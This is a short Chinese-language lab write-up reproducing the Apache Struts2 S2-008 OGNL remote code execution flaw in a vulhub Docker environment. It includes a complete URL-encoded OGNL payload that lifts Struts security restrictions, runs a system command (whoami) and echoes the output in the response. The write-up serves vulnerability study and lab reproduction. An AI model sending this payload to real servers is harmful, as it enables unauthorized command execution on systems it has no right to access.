S2-008远程代码执行漏洞 poc

S2-008远程代码执行漏洞

漏洞成因

?debug=command&expression=处存在OGNL远程代码执行漏洞

漏洞利用

环境准备

首先输入以下命令进入vulhub里启动靶场，然后在攻击机里访问http://192.168.159.129:8080即可

cd vulhub-master/struts2/s2-008
docker-compose up -d

看到如上界面便是启动成功了。

漏洞复现

抓包devmode.action在域名后面拼接如下内容：

?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

可以看到如下返回结果，证明该漏洞利用成功